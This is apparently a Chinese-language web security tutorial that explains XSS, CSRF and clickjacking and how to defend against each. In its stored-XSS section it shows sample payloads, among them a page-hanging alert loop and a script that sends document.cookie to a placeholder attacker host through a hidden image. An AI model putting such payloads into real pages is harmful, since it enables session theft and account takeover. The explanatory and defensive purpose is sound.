XSS
xss: 跨站指令碼攻擊(Cross Site Scripting)是最常見和基本的攻擊 WEB 網站方法,攻擊者通過注入非法的 html 標籤或者 javascript 程式碼,從而當使用者瀏覽該網頁時,控制使用者瀏覽器。
xss 主要分為三類:
DOM xss :
DOM即文字物件模型,DOM通常代表在html、xhtml和xml中的物件,使用DOM可以允許程式和指令碼動態的訪問和更新文件的內容、結構和樣式。它不需要伺服器解析響應的直接參與,觸發XSS靠的是瀏覽器端的DOM解析,可以認為完全是客戶端的事情。
反射型 xss :
反射型XSS也被稱為非永續性XSS,是現在最容易出現的一種XSS漏洞。發出請求時,XSS程式碼出現在URL中,最後輸入提交到伺服器,伺服器解析後在響應內容中出現這段XSS程式碼,最後瀏覽器解析執行。
儲存型 xss :
儲存型XSS又被稱為永續性XSS,它是最危險的一種跨站指令碼,相比反射型XSS和DOM型XSS具有更高的隱蔽性,所以危害更大,因為它不需要使用者手動觸發。 允許使用者儲存資料的web程式都可能存在儲存型XSS漏洞,當攻擊者提交一段XSS程式碼後,被伺服器端接收並儲存,當所有瀏覽者訪問某個頁面時都會被XSS,其中最典型的例子就是留言板。
跨站指令碼攻擊可能造成以下影響:
利用虛假輸入表單騙取使用者個人資訊。
利用指令碼竊取使用者的 Cookie 值,被害者在不知情的情況下,幫助攻擊者傳送惡意請求。
顯示偽造的文章或圖片。
儲存型 xss 案例
在專案開發中,評論是個常見的功能,如果直接把評論的內容儲存到資料庫,那麼顯示的時候就可能被攻擊。
如果你只是想試試 xss,可以這樣:
<font size="100" color="red">試試水</font>複製程式碼
如果帶點惡意,可以這樣:
<script> while (true) { alert('Hello') } </script>複製程式碼
這時,網站就掛了。
當然,最常見 xss 攻擊是讀取 Cookie:
<script> alert(document.cookie) </script>複製程式碼
Cookie 傳送給攻擊者的站點:
var img = document.createElement('img') img.src='http://www.xss.com?cookie=' + document.cookie img.style.display='none' document.getElementsByTagName('body')[0].appendChild(img)複製程式碼
當前使用者的登入憑證儲存於伺服器的 session 中,而在瀏覽器中是以 cookie 的形式儲存的。如果攻擊者能獲取到使用者登入憑證的 Cookie,甚至可以繞開登入流程,直接設定這個 Cookie 值,來訪問使用者的賬號。
防禦
按理說,只要有輸入資料的地方,就可能存在 XSS 危險。
httpOnly: 在 cookie 中設定 HttpOnly 屬性後,js指令碼將無法讀取到 cookie 資訊。
// koa ctx.cookies.set(name, value, { httpOnly: true // 預設為 true }) `複製程式碼
過濾
輸入檢查,一般是用於對於輸入格式的檢查,例如:郵箱,電話號碼,使用者名稱,密碼……等,按照規定的格式輸入。
不僅僅是前端負責,後端也要做相同的過濾檢查。
因為攻擊者完全可以繞過正常的輸入流程,直接利用相關介面向伺服器傳送設定。
HtmlEncode
某些情況下,不能對使用者資料進行嚴格過濾,需要對標籤進行轉換當使用者輸入
<script>window.location.href=”http://www.baidu.com”;</script>
, 最終儲存結果為<script>window.location.href="http://www.baidu.com"</script>
, 在展現時,瀏覽器會對這些字元轉換成文字內容,而不是一段可以執行的程式碼。JavaScriptEncode
對下列字元加上反斜槓關於更多 HtmlEncode 和 JavaScriptEncode,請參考 www.cnblogs.com/lovesong/p/…
CSRF
csrf:跨站點請求偽造(Cross-Site Request Forgeries),也被稱為 one-click attack 或者 session riding。冒充使用者發起請求(在使用者不知情的情況下), 完成一些違背使用者意願的事情(如修改使用者資訊,刪初評論等)。
可能會造成以下影響:
利用已通過認證的使用者許可權更新設定資訊等;
利用已通過認證的使用者許可權購買商品;
利用已通過的使用者許可權在留言板上發表言論。
一張圖瞭解原理:
簡而言之:網站過分相信使用者。
與 xss 區別
通常來說 CSRF 是由 XSS 實現的,CSRF 時常也被稱為 XSRF(CSRF 實現的方式還可以是直接通過命令列發起請求等)。
本質上講,XSS 是程式碼注入問題,CSRF 是 HTTP 問題。XSS 是內容沒有過濾導致瀏覽器將攻擊者的輸入當程式碼執行。CSRF 則是因為瀏覽器在傳送 HTTP 請求時候自動帶上 cookie,而一般網站的 session 都存在 cookie裡面。
來自某乎的一個栗子:
案例
比如某網站的轉賬操作
受害者張三給李四轉賬100,
通過對銀行的網站發起請求 bank.example/transfer?ac… ,
通常情況下,該請求發出後,伺服器端會檢查 session 是否合法,並且張三已經登入成功,
黑客王五可以自己給銀行傳送一個請求 bank.example/transfer?ac… ,但是這個請求來自王五,而不是張三,他並不能通過安全認證。他需要張三的 session 。
王五自己做了一個網站,放入如下程式碼 bank.example/transfer?ac… ,
用各種方式誘使張三點選自己的網站。
張三登入了銀行的網站沒有退出,訪問了黑客王五的網站,上述的 url 就會向銀行發起請求。
如果session沒有過期,這時悲劇就發生了,張三的賬戶裡少了1000。
防禦
驗證碼;強制使用者必須與應用進行互動,才能完成最終請求。此種方式能很好的遏制 csrf,但是使用者體驗比較差。
儘量使用 post ,限制 get 使用;上一個例子可見,get 太容易被拿來做 csrf 攻擊,但是 post 也並不是萬無一失,攻擊者只需要構造一個form就可以。
Referer check;請求來源限制,此種方法成本最低,但是並不能保證 100% 有效,因為伺服器並不是什麼時候都能取到 Referer,而且低版本的瀏覽器存在偽造 Referer 的風險。
token;token 驗證的 CSRF 防禦機制是公認最合適的方案。
整體思路如下:
第一步:後端隨機產生一個 token,把這個token 儲存到 session 狀態中;同時後端把這個token 交給前端頁面;
第二步:前端頁面提交請求時,把 token 加入到請求資料或者頭資訊中,一起傳給後端;
後端驗證前端傳來的 token 與 session 是否一致,一致則合法,否則是非法請求。
若網站同時存在 XSS 漏洞的時候,這個方法也是空談。
Clickjacking
Clickjacking: 點選劫持,是指利用透明的按鈕或連線做成陷阱,覆蓋在 Web 頁面之上。然後誘使使用者在不知情的情況下,點選那個連線訪問內容的一種攻擊手段。這種行為又稱為介面偽裝(UI Redressing) 。
大概有兩種方式:
攻擊者使用一個透明 iframe,覆蓋在一個網頁上,然後誘使使用者在該頁面上進行操作,此時使用者將在不知情的情況下點選透明的 iframe 頁面;
攻擊者使用一張圖片覆蓋在網頁,遮擋網頁原有的位置含義。
案例
一張圖瞭解
一般步驟
黑客建立一個網頁利用 iframe 包含目標網站;
隱藏目標網站,使使用者無法無法察覺到目標網站存在;
構造網頁,誘變使用者點選特點按鈕
使用者在不知情的情況下點選按鈕,觸發執行惡意網頁的命令。
防禦
X-FRAME-OPTIONS;
X-FRAME-OPTIONS HTTP 響應頭是用來給瀏覽器指示允許一個頁面可否在
<frame>
,<iframe>
或者<object>
中展現的標記。網站可以使用此功能,來確保自己網站內容沒有被嵌到別人的網站中去,也從而避免點選劫持的攻擊。有三個值:
DENY:表示頁面不允許在 frame 中展示,即便是在相同域名的頁面中巢狀也不允許。
SAMEORIGIN:表示該頁面可以在相同域名頁面的 frame 中展示。
ALLOW-FROM url:表示該頁面可以在指定來源的 frame 中展示。
配置 X-FRAME-OPTIONS:
Apache
把下面這行新增到 'site' 的配置中:
Header always append X-Frame-Options SAMEORIGIN複製程式碼
nginx
把下面這行新增到 'http', 'server' 或者 'location',配置中
add_header X-Frame-Options SAMEORIGIN;複製程式碼
IIS
新增下面配置到 Web.config 檔案中
<system.webServer> ... <httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> </customHeaders> </httpProtocol> ... </system.webServer>複製程式碼
js 判斷頂層視窗跳轉,可輕易破解,意義不大;
function locationTop(){ if (top.location != self.location) { top.location = self.location; return false; } return true; } locationTop();複製程式碼
// 破解: // 頂層視窗中放入程式碼 var location = document.location; //或者 var location = "";複製程式碼